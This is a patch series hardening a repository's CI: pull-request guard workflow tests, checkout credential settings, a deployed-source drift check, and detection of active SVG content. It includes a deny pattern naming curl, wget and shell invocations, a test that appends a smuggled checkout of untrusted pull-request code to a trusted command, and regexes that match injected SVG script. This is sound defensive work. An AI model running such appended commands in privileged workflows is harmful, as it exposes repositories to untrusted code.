+// The workflow files and the lock check keep the properties the pull request guard depends on. +// node --test .github/scripts/workflows.test.mjs import assert from "node:assert/strict"; -import { readFileSync, readdirSync } from "node:fs"; +import { execFileSync, spawnSync } from "node:child_process"; +import { appendFileSync, copyFileSync, mkdirSync, mkdtempSync, readFileSync, readdirSync, rmSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; import { test } from "node:test"; import { fileURLToPath } from "node:url"; @@ -63,21 +67,111 @@ test("no workflow asks for a write permission, and none reads a secret", () => { test("the guard job is named pr-guard, the name the branch rules require", () => { assert.match(guard, /^jobs:\n {2}pr-guard:\n {4}name: pr-guard$/m); assert.match(guard, /^permissions: \{\}$/m); - assert.match(guard, /^ {6}contents: read\n {6}pull-requests: read$/m); + assert.match(guard, /^ {4}permissions:\n {6}contents: read( #.*)?\n {6}pull-requests: read( #.*)?\n {4}steps:$/m, "the job's whole grant: two reads"); assert.match(guard, /branches: \[main\]/); }); +test("the guard starts when a pull request is opened, pushed to or reopened, and on nothing else", () => { + const on = /^on:\n((?: .*\n)+)/m.exec(lines(guard).join("\n"))[1].trimEnd().split("\n").map((line) => line.replace(/\s+#.*$/, "")); + // a review does not start it: pull_request_review would run the pull request's copy of the workflow, not main's + assert.deepEqual(on, [" pull_request_target:", " branches: [main]", " types: [opened, synchronize, reopened]"]); + // the script tells a push, which names its pusher, from the other two by the event's action + assert.match(guard, /^ {10}EVENT_ACTION: \$\{\{ github\.event\.action \}\}$/m); + assert.match(guard, /^ {10}EVENT_AFTER: \$\{\{ github\.event\.after \}\}$/m); + assert.match(guard, /^ {10}EVENT_SENDER: \$\{\{ github\.event\.sender\.login \}\}$/m); +}); + +test("the guard workflow is, line for line, the one that was reviewed", () => { + // The tests around this one read the file with patterns, and a pattern can be written around: a command continued on + // the next line, a quoted key, a step in braces. So the whole file is pinned too, comments and the action's commit + // aside. Changing the workflow means changing this list in the same pull request. + const text = lines(guard).map((line) => line.replace(/\s+#.*$/, "").replace(/@[0-9a-f]{40}$/, "@")).filter((line) => line.trim() !== ""); + assert.deepEqual(text, [ + "name: pr-guard", + "on:", + " pull_request_target:", + " branches: [main]", + " types: [opened, synchronize, reopened]", + "permissions: {}", + "concurrency:", + " group: pr-guard-${{ github.event.pull_request.number }}", + " cancel-in-progress: true", + "jobs:", + " pr-guard:", + " name: pr-guard", + " runs-on: ubuntu-24.04", + " timeout-minutes: 10", + " permissions:", + " contents: read", + " pull-requests: read", + " steps:", + " - name: check out main (trusted)", + " uses: actions/checkout@", + " with:", + " fetch-depth: 0", + " persist-credentials: false", + " - name: fetch the pull request as data", + " env:", + " PR_NUMBER: ${{ github.event.pull_request.number }}", + " HEAD_SHA: ${{ github.event.pull_request.head.sha }}", + " run: |", + ' git fetch --quiet --no-tags --no-recurse-submodules origin "+refs/pull/${PR_NUMBER}/head:refs/pr-guard/head"', + ' git cat-file -e "${HEAD_SHA}^{commit}"', + " - name: guard", + " env:", + " GUARD_BASE: HEAD", + " GUARD_HEAD: ${{ github.event.pull_request.head.sha }}", + " PR_NUMBER: ${{ github.event.pull_request.number }}", + " PR_AUTHOR: ${{ github.event.pull_request.user.login }}", + " EVENT_ACTION: ${{ github.event.action }}", + " EVENT_AFTER: ${{ github.event.after }}", + " EVENT_SENDER: ${{ github.event.sender.login }}", + " GITHUB_TOKEN: ${{ github.token }}", + " run: node .github/scripts/pr-guard.mjs", + ]); +}); + test("the guard never checks out or runs the pull request", () => { const body = lines(guard).join("\n"); - // the one checkout stays on the base commit: no ref, no credentials left behind - assert.equal(body.match(/uses: actions\/checkout@/g).length, 1); - assert.doesNotMatch(body, /^\s*(ref|repository|submodules|token|ssh-key):/m); + // the one action is the checkout, and it stays on the base commit: no ref, no credentials left behind + assert.deepEqual(body.match(/^\s*(?:-\s+)?uses:\s*[^@\s]+/gm).map((uses) => uses.trim()), ["uses: actions/checkout"]); + assert.doesNotMatch(body, /^\s*(ref|repository|submodules|token|ssh-key|shell|container|services):/m); assert.match(body, /persist-credentials: false/); - // nothing is installed or built, and the only programs are git and the guard script from this checkout - assert.deepEqual(commands(guard).map((command) => command.split(" ").slice(0, 2).join(" ")), ["git fetch", "git cat-file", "node .github/scripts/pr-guard.mjs"]); + // nothing is installed or built. These are the complete commands, so nothing can be appended to one of them: the + // head commit is fetched and looked up, never checked out, and the script that runs is the one from this checkout + assert.deepEqual(commands(guard), [ + 'git fetch --quiet --no-tags --no-recurse-submodules origin "+refs/pull/${PR_NUMBER}/head:refs/pr-guard/head"', + 'git cat-file -e "${HEAD_SHA}^{commit}"', + "node .github/scripts/pr-guard.mjs", + ]); assert.doesNotMatch(body, /\b(npm|npx|yarn|pnpm|bun|pip|forge|curl|wget|bash|sh -c)\b/); }); +test("the commands of a workflow are read whole, so an appended one is seen", () => { + const appended = guard.replace('git cat-file -e "${HEAD_SHA}^{commit}"', 'git cat-file -e "${HEAD_SHA}^{commit}"; git checkout refs/pr-guard/head'); + assert.notEqual(appended, guard); + assert.ok(commands(appended).includes('git cat-file -e "${HEAD_SHA}^{commit}"; git checkout refs/pr-guard/head')); + assert.deepEqual(commands("steps:\n - run: one && two\n - run: >-\n three\n four\n - name: x\n"), ["one && two", "three", "four"]); +}); + +test("no checkout leaves the job's token behind for the steps that follow", () => { + let seen = 0; + for (const [name, text] of Object.entries(workflows)) { + const all = lines(text); + all.forEach((line, i) => { + const at = line.search(/uses: actions\/checkout@/); + if (at < 0) return; + seen++; + // the setting has to sit in this checkout's own `with:` block, not in the next step's + assert.equal(all[i + 1], `${" ".repeat(at)}with:`, `${name}: the checkout has no settings`); + const settings = []; + for (let j = i + 2; j < all.length && all[j].search(/\S/) > at; j++) settings.push(all[j].trim()); + assert.ok(settings.includes("persist-credentials: false"), `${name}: ${line.trim()}`); + }); + } + assert.equal(seen, 5, "every checkout in both workflows"); +}); + test("pull request data reaches the guard's shell only through environment variables", () => { for (const line of lines(guard)) { if (!line.includes("${{")) continue; @@ -117,3 +211,88 @@ test("the lock names files that exist, and every deployed source is in it", () = assert.ok(locked.has(path), path); } }); + +test("the lock check fails when a deployed file, a library pin or a file inside a library has changed", () => { + const repo = mkdtempSync(join(tmpdir(), "deployed-lock-")); + const env = { ...process.env, GIT_CONFIG_GLOBAL: "/dev/null", GIT_CONFIG_NOSYSTEM: "1", GIT_AUTHOR_NAME: "test", GIT_AUTHOR_EMAIL: "test@example.com", GIT_COMMITTER_NAME: "test", GIT_COMMITTER_EMAIL: "test@example.com" }; + const git = (cwd, ...args) => execFileSync("git", args, { cwd, env, stdio: ["ignore", "pipe", "pipe"] }).toString().trim(); + const script = join(repo, "contracts/script/check-deployed-sources.sh"); + const run = (...args) => spawnSync("bash", [script, ...args], { env, encoding: "utf8" }); + try { + // a repository shaped like this one: a deployed source, and a library checked out as a repository of its own + const kit = join(repo, "contracts/lib/kit"); + mkdirSync(join(repo, "contracts/script"), { recursive: true }); + mkdirSync(join(repo, "contracts/src"), { recursive: true }); + mkdirSync(kit, { recursive: true }); + copyFileSync(`${root}contracts/script/check-deployed-sources.sh`, script); + writeFileSync(join(repo, "contracts/src/Token.sol"), "contract Token {}\n"); + writeFileSync(join(repo, "contracts/deployed.lock"), "# deployed sources\n"); + writeFileSync(join(kit, "Kit.sol"), "library Kit {}\n"); + git(kit, "init", "-q", "-b", "main"); + git(kit, "add", "-A"); + git(kit, "commit", "-q", "-m", "kit"); + const pin = git(kit, "rev-parse", "HEAD"); + git(repo, "init", "-q", "-b", "main"); + git(repo, "add", "-A"); + + assert.equal(run().status, 1, "an empty lock checks nothing, so it fails"); + assert.equal(run("--update", "contracts/src/Token.sol", "contracts/lib/kit").status, 0); + assert.match(readFileSync(join(repo, "contracts/deployed.lock"), "utf8"), new RegExp(`^sha256 [0-9a-f]{64} contracts/src/Token\\.sol\\ngitlink ${pin} contracts/lib/kit$`, "m")); + const clean = run(); + assert.equal(clean.status, 0, clean.stdout + clean.stderr); + assert.match(clean.stdout, /^ok: 2 deployed contract files and library pins match/); + + // a library file edited in place: the pin and the checked-out commit still match, the bytes that compile do not + appendFileSync(join(kit, "Kit.sol"), "// edited\n"); + const edited = run(); + assert.equal(edited.status, 1); + assert.match(edited.stdout, /^DRIFT {2}contracts\/lib\/kit: files differ from the pinned commit/m); + git(kit, "checkout", "-q", "--", "."); + assert.equal(run().status, 0); + + // a file added beside the library's own, also when the reader's git is set not to mention such files + git(kit, "config", "status.showUntrackedFiles", "no"); + writeFileSync(join(kit, "remappings.txt"), "kit/=elsewhere/\n"); + assert.match(run().stdout, /^DRIFT {2}contracts\/lib\/kit: files differ from the pinned commit/m); + rmSync(join(kit, "remappings.txt")); + + // the library moved to another commit + git(kit, "commit", "-q", "--allow-empty", "-m", "later"); + assert.match(run().stdout, /^DRIFT {2}contracts\/lib\/kit: checked out at [0-9a-f]{12}…, pinned at [0-9a-f]{12}…/m); + git(kit, "reset", "-q", "--hard", pin); + assert.equal(run().status, 0); + + // a library whose state cannot be read is not a clean one + appendFileSync(join(kit, "Kit.sol"), "// edited\n"); + writeFileSync(join(kit, ".git/index"), "not an index"); + const unreadable = run(); + assert.equal(unreadable.status, 1); + assert.match(unreadable.stdout, /^DRIFT {2}contracts\/lib\/kit: files differ from the pinned commit, or could not be compared with it/m); + rmSync(join(kit, ".git/index")); + git(kit, "reset", "-q", "--hard", pin); + assert.equal(run().status, 0); + + // the lock's last line counts with or without its newline + const lock = join(repo, "contracts/deployed.lock"); + writeFileSync(lock, readFileSync(lock, "utf8").trimEnd()); + assert.match(run().stdout, /^ok: 2 deployed contract files and library pins match/); + + // a deployed source edited + const token = join(repo, "contracts/src/Token.sol"); + appendFileSync(token, "// edited\n"); + const drift = run(); + assert.equal(drift.status, 1); + assert.match(drift.stdout, /^DRIFT {2}contracts\/src\/Token\.sol: locked sha256 /m); + writeFileSync(token, "contract Token {}\n"); + assert.equal(run().status, 0); + + // library files with the repository taken away from under them + rmSync(join(kit, ".git"), { recursive: true }); + assert.match(run().stdout, /^DRIFT {2}contracts\/lib\/kit: holds files, but is not a checkout of the pinned commit/m); + // a library that is not checked out at all has nothing to compile, so there is nothing to compare + rmSync(join(kit, "Kit.sol")); + assert.equal(run().status, 0); + } finally { + rmSync(repo, { recursive: true, force: true }); + } +}); diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index c9d011dc..06896e19 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -4,7 +4,8 @@ name: ci # workflow, which runs main's copy of itself; these jobs can be trusted on a pull request only while pr-guard is green, # because a pull request that edits this file is refused there. # -# Actions are pinned to full commit SHAs (the comment names the release). .github/scripts/workflows.test.mjs keeps it so. +# Actions are pinned to full commit SHAs (the comment names the release), and no checkout leaves the job's token behind +# for the steps that follow. .github/scripts/workflows.test.mjs keeps it so. on: push: @@ -27,6 +28,8 @@ jobs: working-directory: app steps: - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4.4.0 + with: + persist-credentials: false - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0 with: node-version: 22 @@ -55,6 +58,7 @@ jobs: - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4.4.0 with: submodules: recursive + persist-credentials: false # the deployed sources, their build settings and the library pins match contracts/deployed.lock byte for byte - run: script/check-deployed-sources.sh - uses: foundry-rs/foundry-toolchain@908c540300062bd5a7e473851cdb4282204cee09 # v1.9.1 @@ -72,6 +76,8 @@ jobs: runs-on: ubuntu-24.04 steps: - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4.4.0 + with: + persist-credentials: false - run: node --version - run: node --test .github/scripts/pr-guard.test.mjs .github/scripts/workflows.test.mjs @@ -83,6 +89,8 @@ jobs: working-directory: app steps: - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4.4.0 + with: + persist-credentials: false - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0 with: node-version: 22 diff --git a/.github/workflows/pr-guard.yml b/.github/workflows/pr-guard.yml index 39017ab4..9efd925f 100644 --- a/.github/workflows/pr-guard.yml +++ b/.github/workflows/pr-guard.yml @@ -10,9 +10,15 @@ name: pr-guard # in a pull request of its own and merge that with an admin bypass. # # "pr-guard" is the name of the required status check in the branch rules for main. Do not rename the job. +# +# The check is a snapshot of the reviews at the moment it ran. It is not started by a review being submitted or +# dismissed, on purpose: pull_request_review runs the pull request's copy of this file, not main's, and on a fork its +# token is read-only, so that run could neither be trusted to judge nor re-run this one. Refreshing the check from a +# trusted run takes a write permission, and no workflow here has one. So after approving a commit, or after taking an +# approval back, an owner re-runs this job (CONTRIBUTING.md, "For maintainers"). on: - pull_request_target: + pull_request_target: # zizmor: ignore[dangerous-triggers] main's copy judges, and nothing from the pull request is run branches: [main] types: [opened, synchronize, reopened] @@ -28,8 +34,8 @@ jobs: runs-on: ubuntu-24.04 timeout-minutes: 10 permissions: - contents: read - pull-requests: read + contents: read # fetch the pull request's commits as git objects; read who pushed its branch + pull-requests: read # read who approved which commit steps: - name: check out main (trusted) uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4.4.0 @@ -49,6 +55,10 @@ jobs: GUARD_HEAD: ${{ github.event.pull_request.head.sha }} PR_NUMBER: ${{ github.event.pull_request.number }} PR_AUTHOR: ${{ github.event.pull_request.user.login }} + # who started this run, and how: the sender pushed the head commit only when the event is a push (synchronize) + # and the commit that push left behind is the head + EVENT_ACTION: ${{ github.event.action }} + EVENT_AFTER: ${{ github.event.after }} EVENT_SENDER: ${{ github.event.sender.login }} GITHUB_TOKEN: ${{ github.token }} run: node .github/scripts/pr-guard.mjs diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index d71bdcf0..4133792d 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -39,9 +39,10 @@ your code. It has two answers besides "passed": - **Blocked.** Refused for everyone, maintainers included: a change to any file listed in `contracts/deployed.lock` (the deployed contract sources, their build settings, the pinned libraries and the deployment records), anything under - `.github/`, a lockfile entry that does not come from the npm registry, a new install-time script, a committed key or - `.env` file, invisible or direction-changing Unicode, symlinks, new submodules, binaries that are not plain images or - fonts, and editor or agent configuration (`.vscode/`, `.claude/`, `AGENTS.md`, `.envrc` and the like). + `.github/`, a dependency or lockfile entry that does not come from the npm registry (git, a URL, a local path, an + alias), a new install-time script, a committed key or `.env` file, invisible or direction-changing Unicode, symlinks, + new submodules, binaries that are not plain images or fonts, and editor or agent configuration (`.vscode/`, + `.claude/`, `AGENTS.md`, `.envrc` and the like). - **Needs a maintainer's approval.** Allowed, and listed for a maintainer to read: new files under `contracts/`, dependency and npm script changes, on-chain addresses, wallet calls, new hosts and environment variables, security headers, build and deploy files, migrations, and code that executes strings or injects raw HTML. The check turns green @@ -63,6 +64,13 @@ node .github/scripts/pr-guard.mjs --base origin/main --head HEAD - The owners are `OWNERS` in `.github/scripts/pr-guard.mjs`, mirrored in `.github/CODEOWNERS`. - To release a pull request the guard is holding: read the job summary, approve the head commit with a pull request review, then re-run the `pr-guard` job. +- The check is a snapshot of the reviews at the moment it ran, and a review does not start it again. If you take an + approval back (dismiss it, or request changes), re-run the job as well: until then the earlier pass stays on that + commit. The reason is in the header of `.github/workflows/pr-guard.yml`. +- On an owner's own pull request the sensitive changes are notices, as long as an owner pushed the head commit. If + someone else pushed it (also when the pull request was opened or reopened after their push), the check waits like + anyone's. GitHub does not let an author approve their own pull request, so read the changes and push the next commit + yourself, or have another owner approve. - A blocked pull request that should merge anyway (a CI change, a new entry in `contracts/deployed.lock`) is merged by an admin with the branch rule bypass, after reading it. - The guard protects `main` only while `pr-guard` is a required status check in the branch rules. diff --git a/contracts/script/check-deployed-sources.sh b/contracts/script/check-deployed-sources.sh index b1c03ca3..b876645e 100755 --- a/contracts/script/check-deployed-sources.sh +++ b/contracts/script/check-deployed-sources.sh @@ -7,7 +7,9 @@ set -euo pipefail cd "$(dirname "$0")/../.." lock=contracts/deployed.lock +# path -> the file's sha256 sha() { if command -v sha256sum >/dev/null 2>&1; then sha256sum "$1"; else shasum -a 256 "$1"; fi | cut -d' ' -f1; } +# path -> the commit a submodule is pinned at, empty when the path is not a submodule gitlink() { git ls-files -s -- "$1" | awk '$1 == "160000" { print $2 }'; } current() { # kind path -> the value the lock should hold, empty when the path is gone if [[ "$1" == gitlink ]]; then gitlink "$2"; elif [[ -f "$2" && ! -L "$2" ]]; then sha "$2"; fi @@ -17,7 +19,7 @@ if [[ "${1:-}" == "--update" ]]; then shift tmp=$(mktemp) grep -E '^(#|$)' "$lock" > "$tmp" || true - { grep -E '^(sha256|gitlink) ' "$lock" | awk '{ print $1, $3 }' + { grep -E '^(sha256|gitlink) ' "$lock" | awk '{ print $1, $3 }' || true # a lock with no entries yet for extra in "$@"; do if [[ -n "$(gitlink "$extra")" ]]; then echo "gitlink $extra"; else echo "sha256 $extra"; fi done @@ -30,17 +32,24 @@ if [[ "${1:-}" == "--update" ]]; then fi failed=0; checked=0 -while read -r kind want path; do +while read -r kind want path || [[ -n "$kind" ]]; do # the last line counts with or without its newline [[ "$kind" == sha256 || "$kind" == gitlink ]] || continue checked=$((checked + 1)) got=$(current "$kind" "$path") if [[ "$got" != "$want" ]]; then echo "DRIFT $path: locked $kind ${want:0:12}…, found ${got:-nothing}"; failed=1; continue fi - # the library that gets compiled is the checked-out one, so it has to be the pinned commit too + # the library that gets compiled is the checked-out one, so it has to be the pinned commit too, with nothing edited, + # added or re-pinned inside it. A library that is not checked out at all (an empty folder) has nothing to compile. if [[ "$kind" == gitlink && -e "$path/.git" ]]; then out=$(git -C "$path" rev-parse HEAD) - [[ "$out" == "$want" ]] || { echo "DRIFT $path: checked out at ${out:0:12}…, pinned at ${want:0:12}… (git submodule update)"; failed=1; } + if [[ "$out" != "$want" ]]; then + echo "DRIFT $path: checked out at ${out:0:12}…, pinned at ${want:0:12}… (git submodule update)"; failed=1 + elif ! changed=$(git -C "$path" status --porcelain --untracked-files=normal --ignore-submodules=none) || [[ -n "$changed" ]]; then + echo "DRIFT $path: files differ from the pinned commit, or could not be compared with it (git -C $path status)"; failed=1 + fi + elif [[ "$kind" == gitlink && -n "$(ls -A "$path" 2>/dev/null)" ]]; then + echo "DRIFT $path: holds files, but is not a checkout of the pinned commit (git submodule update --init)"; failed=1 fi done < "$lock" From 7140291a24f29e1c28d407ee1222f57ee2bc525c Mon Sep 17 00:00:00 2001 From: Kevin Codex Date: Mon, 12 Oct 2026 14:32:30 +0800 Subject: [PATCH 4/7] ci: pr-guard: SVGs are read whole, served files need an owner, deleted dependency files are findings From the second CodeRabbit review of #88. - SVG: the check ran on single added lines, so a handler on a line of its own, a script element under a namespace prefix, or "javascript:" got no finding at all. The whole file is now read, after undoing character references. Also refused: a default attribute from a document type, an animation that sets a handler, HTML inside the image. An SVG that cannot be read in full is blocked instead of set aside as "unscanned". - Files the site serves: app/public is read the other way round. Everything in it needs an owner except what cannot act (images, fonts, plain text), because a browser runs script in anything served as HTML or XML and the list of such file types is long (.xht, .xsl, .rss and more had the gap the review found for .svg). Every SVG, XML or HTML file under app/ counts, and the app manifest, whatever the letter case of the name. - Deleting package.json or a lockfile is a "dependencies" finding. It used to pass with nothing reported. 142 tests. All 65 merged pull requests on main keep their outcome; the one that added the brand logos gains "needs an owner" notes for its SVGs. --- .github/scripts/pr-guard.mjs | 55 ++++++++++++++---- .github/scripts/pr-guard.test.mjs | 90 +++++++++++++++++++++++++++--- .github/scripts/workflows.test.mjs | 8 ++- CONTRIBUTING.md | 12 ++-- 4 files changed, 142 insertions(+), 23 deletions(-) diff --git a/.github/scripts/pr-guard.mjs b/.github/scripts/pr-guard.mjs index 363b613d..416570aa 100644 --- a/.github/scripts/pr-guard.mjs +++ b/.github/scripts/pr-guard.mjs @@ -61,7 +61,7 @@ export const RULES = { "new-env": { tier: "review", title: "A new environment variable", help: "New configuration the deployment has to carry, or new access to existing secrets." }, "dangerous-code": { tier: "review", title: "Code execution, raw HTML or shell", help: "Patterns that run code, inject markup, start processes or decode hidden text." }, "auth-removed": { tier: "review", title: "A security check was removed", help: "Signature, nonce, rate limit or validation calls that the change drops." }, - "security-config": { tier: "review", title: "Security headers, proxy or files served as the site", help: "The Content-Security-Policy, the request proxy, the Next.js configuration, and static pages, scripts or .well-known files that run as, or vouch for, the site's origin." }, + "security-config": { tier: "review", title: "Security headers, proxy or files served as the site", help: "The Content-Security-Policy, the request proxy, the Next.js configuration, and files the site serves as they are: anything in app/public that is not a plain image, font or text file, and every SVG, page or XML file, since those run as, or vouch for, the site's origin." }, "build-deploy": { tier: "review", title: "Build, deploy, database or script files", help: "Files that run during the build, the deploy or a migration against the production database." }, policy: { tier: "review", title: "License or security policy", help: "The security contact and the license are changed by the maintainers." }, "git-config": { tier: "review", title: "Git attributes", help: "Attributes change how files are diffed, merged and exported." }, @@ -82,7 +82,11 @@ const SECRET_FILE = /(^|\/)\.env(\.(?!example$)[^/]*)?$|\.(pem|p12|pfx|jks|keyst const REVIEW_PATHS = [ ["contracts", /^contracts\//], - ["security-config", /^app\/src\/(proxy|middleware|instrumentation)\.[cm]?[jt]s$|^app\/src\/lib\/(security-headers|rpc-proxy)\.ts$|^app\/next\.config\.[cm]?[jt]s$|^app\/public\/.*\.(html?|xhtml|xml|[cm]?js|webmanifest)$|^app\/(public|src\/app)\/\.well-known\//], + // app/public is served as it is, so everything in it counts except what cannot act: images and fonts (their bytes are + // checked against their names) and plain text. A browser runs script in anything served as HTML or XML, and there are + // dozens of such file types, so the rule names the few that are inert. Markup elsewhere in the app is served too + // (icon.svg, sitemap.xml, an imported image), and so is the web app manifest. + ["security-config", /^app\/src\/(proxy|middleware|instrumentation)\.[cm]?[jt]s$|^app\/src\/lib\/(security-headers|rpc-proxy)\.ts$|^app\/next\.config\.[cm]?[jt]s$|^app\/public\/(?!.*\.(png|jpe?g|gif|webp|avif|ico|woff2?|txt)$)|^app\/.*\.(svg|xml|xhtml?|html?|webmanifest)$|^app\/src\/app\/(.*\/)?manifest\.json$|^app\/(public|src\/app)\/\.well-known\//i], ["policy", /^(LICENSE[^/]*|SECURITY\.md)$/i], ["git-config", /(^|\/)\.gitattributes$/], ["build-deploy", /(^|\/)(Dockerfile[^/]*|\.dockerignore|docker-compose[^/]*\.ya?ml|fly[^/]*\.toml|vercel\.json|Makefile|Procfile)$|^app\/(scripts|db)\/|^app\/(postcss|eslint)\.config\.[cm]?[jt]s$|^app\/tsconfig[^/]*\.json$|^app\/\.env\.example$|\.(sh|bash|zsh|py|rb|pl|ps1|bat|cmd)$/i], @@ -158,7 +162,34 @@ export function hiddenCharacter(text, atFileStart = false) { return null; } -const SVG_ACTIVE = /<(?:script|foreignObject|iframe|embed|object)\b|\son[a-z]+\s*=|javascript:|<\?xml-stylesheet|, , . */ +const SVG_ELEMENT = /<(?:[^\s<>\/:"'=]+:)?(?:script|foreignObject|iframe|embed|object|handler|listener)\b/i; +/** An event handler attribute, or an animation that sets one. An attribute may sit on a line of its own, away from its "=". */ +const SVG_HANDLER = /\son[a-z]+\s*=|attributeName\s*=\s*["']\s*on/i; +/** A stylesheet instruction, or a document type that defines text or default attributes (a default onload among them). */ +const SVG_DECLARATION = /<\?xml-stylesheet| is refused as well. + */ +export function activeSvg(text) { + const decoded = text + .replace(/&#(x[0-9a-f]+|[0-9]+);?/gi, (whole, ref) => { + const point = /^x/i.test(ref) ? parseInt(ref.slice(1), 16) : parseInt(ref, 10); + return point <= 0x10ffff ? String.fromCodePoint(point) : whole; + }) + .replace(/&(colon|Tab|NewLine);/g, (whole, name) => ({ colon: ":", Tab: "\t", NewLine: "\n" })[name]); + if (SVG_ELEMENT.test(decoded)) return "a script or an embedded document"; + if (SVG_HANDLER.test(decoded)) return "an event handler"; + if (/javascript:/i.test(decoded.replace(/[\t\n\r]/g, ""))) return "a javascript: address"; + if (SVG_DECLARATION.test(decoded)) return "a stylesheet instruction, or a document type that adds to the file"; + if (decoded.includes(XHTML)) return "HTML inside the image"; + return null; +} const JS_FILE = /\.([cm]?[jt]sx?|mdx|vue|svelte|astro)$/i; /** [what it is, pattern, optional: the files it applies to (Solidity's require() is not Node's)]. */ @@ -224,7 +255,6 @@ export function scanLines(path, added, removed, facts) { const m = re.exec(text); if (m && (!check || check(m))) add("secret", what, n); } - if (svg && SVG_ACTIVE.test(text)) add("svg-active", "script, event handler or embedded document", n); if (text.length > MAX_LINE * 5) { add("opaque", `a line of ${text.length} characters, too long to match against the rules`, n); continue; } for (const m of text.matchAll(URL_RE)) { @@ -542,13 +572,16 @@ export function analyze(repo, { lockedPaths }) { else if (!gone && newMode === "100755" && oldMode !== "100755") add("build-deploy", path, "marked executable"); } if (OTHER_LOCK.test(path) && !gone) add("dependencies", path, "a lockfile for another package manager"); + // a deletion is never read below, and it is a change to the dependencies all the same + if (gone && MANIFEST.test(path)) add("dependencies", path, "deleted"); + if (gone && (NPM_LOCK.test(path) || OTHER_LOCK.test(path))) add("dependencies", path, "deleted, so nothing pins the packages it listed"); if (gone || (newMode !== "100644" && newMode !== "100755")) continue; - // A manifest or lockfile the guard could not check is refused, not handed on for review: failing to read it must - // never rank below what reading it would have found. - const dependencyRule = MANIFEST.test(path) ? "dependency-source" : NPM_LOCK.test(path) ? "lockfile" : null; - let checked = !dependencyRule; - const unread = (why) => (checked ? add("unscanned", path, why) : add(dependencyRule, path, `could not be checked: ${why}`)); + // A manifest, a lockfile or an SVG the guard could not check is refused, not handed on for review: failing to read + // it must never rank below what reading it would have found. + const wholeFileRule = MANIFEST.test(path) ? "dependency-source" : NPM_LOCK.test(path) ? "lockfile" : ext(path) === "svg" ? "svg-active" : null; + let checked = !wholeFileRule; + const unread = (why) => (checked ? add("unscanned", path, why) : add(wholeFileRule, path, `could not be checked: ${why}`)); if (++scanned > MAX_SCAN_FILES) { unread(`more than ${MAX_SCAN_FILES} files in one pull request`); continue; } try { const bytes = repo.blob(change.newSha); @@ -556,12 +589,14 @@ export function analyze(repo, { lockedPaths }) { const byteFindings = scanBytes(path, bytes); if (byteFindings) { for (const f of byteFindings) add(f.rule, f.path, f.detail, f.line); continue; } - // dependency files are read whole whatever their size; the limit below is on what is matched line by line + // dependency files and SVGs are read whole whatever their size; the limit below is on what is matched line by line if (MANIFEST.test(path)) for (const f of lintManifest(path, bytes.toString("utf8"), repo.baseText(path))) add(f.rule, f.path, f.detail); if (NPM_LOCK.test(path)) { for (const f of lintNpmLock(path, bytes.toString("utf8"), repo.baseText(path))) add(f.rule, f.path, f.detail); continue; // thousands of registry URLs and hashes: the structure check above is the scan } + const active = ext(path) === "svg" ? activeSvg(bytes.toString("utf8")) : null; + if (active) add("svg-active", path, active); checked = true; if (bytes.length > MAX_TEXT_BYTES) { add("unscanned", path, `a text file of ${Math.ceil(bytes.length / 1_000_000)} MB`); continue; } const lines = status === "A" || /^0+$/.test(change.oldSha) || oldMode === "160000" || oldMode === "120000" diff --git a/.github/scripts/pr-guard.test.mjs b/.github/scripts/pr-guard.test.mjs index 0d714183..53f7bc3d 100644 --- a/.github/scripts/pr-guard.test.mjs +++ b/.github/scripts/pr-guard.test.mjs @@ -13,7 +13,7 @@ import { after, before, describe, test } from "node:test"; import { fileURLToPath } from "node:url"; import { - OWNERS, RULES, analyze, annotation, hiddenCharacter, hostOf, lintManifest, lintNpmLock, openRepo, ownerApproval, parseHunks, + OWNERS, RULES, activeSvg, analyze, annotation, hiddenCharacter, hostOf, lintManifest, lintNpmLock, openRepo, ownerApproval, parseHunks, parseLock, plain, pusherOf, renderSummary, renderText, scanLines, verdict, } from "./pr-guard.mjs"; @@ -85,6 +85,7 @@ const BASE = { "app/Dockerfile": "FROM node:22-slim\n", "app/db/schema.sql": "create table if not exists launches (id text primary key);\n", "app/public/logo.png": PNG, + "app/public/brand/base.svg": '\n', "app/src/lib/security-headers.ts": "export const csp = \"default-src 'self'\";\n", "app/src/lib/launchpad/config.ts": `export const NATIVE = "0x0000000000000000000000000000000000000000";\nexport const ROUTER = "${ROUTER}";\nexport const RPC = process.env.BASE_RPC_URL ?? "https://mainnet.base.org";\n`, "app/src/app/api/post/route.ts": ROUTE, @@ -275,7 +276,7 @@ describe("CI and machine configuration", () => { }); test("a symlink is blocked", () => { - assert.deepEqual(rules(check({ "app/public/readme": { symlink: "../../README.md" } })), ["symlink"]); + assert.deepEqual(rules(check({ "docs/readme": { symlink: "../README.md" } })), ["symlink"]); }); test("a file name with a line break or an invisible character is blocked", () => { @@ -383,7 +384,7 @@ describe("binary files", () => { test("executables and archives are blocked", () => { assert.deepEqual(rules(check({ "tools/helper": Buffer.from([0x7f, 0x45, 0x4c, 0x46, 0, 0, 0, 0, 1, 2, 3]) })), ["binary"]); - assert.deepEqual(rules(check({ "app/public/pack.wasm": Buffer.from([0, 0x61, 0x73, 0x6d, 1, 0, 0, 0]) })), ["binary"]); + assert.deepEqual(rules(check({ "app/public/pack.wasm": Buffer.from([0, 0x61, 0x73, 0x6d, 1, 0, 0, 0]) })), ["binary", "security-config"]); }); test("source saved as UTF-16 counts as binary, because the scanner cannot read it", () => { @@ -394,10 +395,59 @@ describe("binary files", () => { assert.deepEqual(rules(check({ "brand/clip.mp4": Buffer.concat([Buffer.from([0, 0, 0, 0x18]), Buffer.from("ftypmp42"), Buffer.alloc(16)]) })), ["media"]); }); - test("an SVG with script or an event handler is blocked; a plain one passes", () => { - assert.deepEqual(rules(check({ "app/public/a.svg": '\n' })), ["svg-active"]); - assert.ok(rules(check({ "app/public/b.svg": '\n' })).includes("svg-active")); - assert.deepEqual(rules(check({ "app/public/c.svg": '\n' })), []); + const svg = (body, attributes = "") => `${body}\n`; + + test("an SVG with script or an event handler is blocked; a 